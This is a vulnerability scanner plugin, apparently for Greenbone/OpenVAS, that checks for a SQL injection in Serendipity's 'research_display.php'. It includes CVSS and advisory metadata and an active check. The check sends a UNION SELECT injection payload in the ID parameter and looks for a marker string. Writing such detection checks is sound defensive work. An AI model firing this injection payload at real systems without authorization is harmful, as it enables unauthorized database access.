Serendipity 'research_display.php' SQLi Vulnerability (Sep 2011) - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:s9y:serendipity";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103235");
  script_version("2026-04-17T15:51:27+0000");
  script_tag(name:"last_modification", value:"2026-04-17 15:51:27 +0000 (Fri, 17 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-09-01 14:04:12 +0200 (Thu, 01 Sep 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Serendipity 'research_display.php' SQLi Vulnerability (Sep 2011) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_serendipity_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("serendipity/http/detected");

  script_tag(name:"summary", value:"Serendipity is prone to an SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The 'research_display.php' script in Serendipity is prone to an
  SQLi vulnerability because it fails to sufficiently sanitize user-supplied data before using it in
  an SQL query.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application, access or modify data, or exploit latent vulnerabilities in the underlying
  database.");

  script_tag(name:"affected", value:"Serendipity 1.5.1 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49395");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,0x53514c2d496e6a656374696f6e2d54657374,null,null,null";

if( http_vuln_check( port:port, url:url, pattern:"SQL-Injection-Test" ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );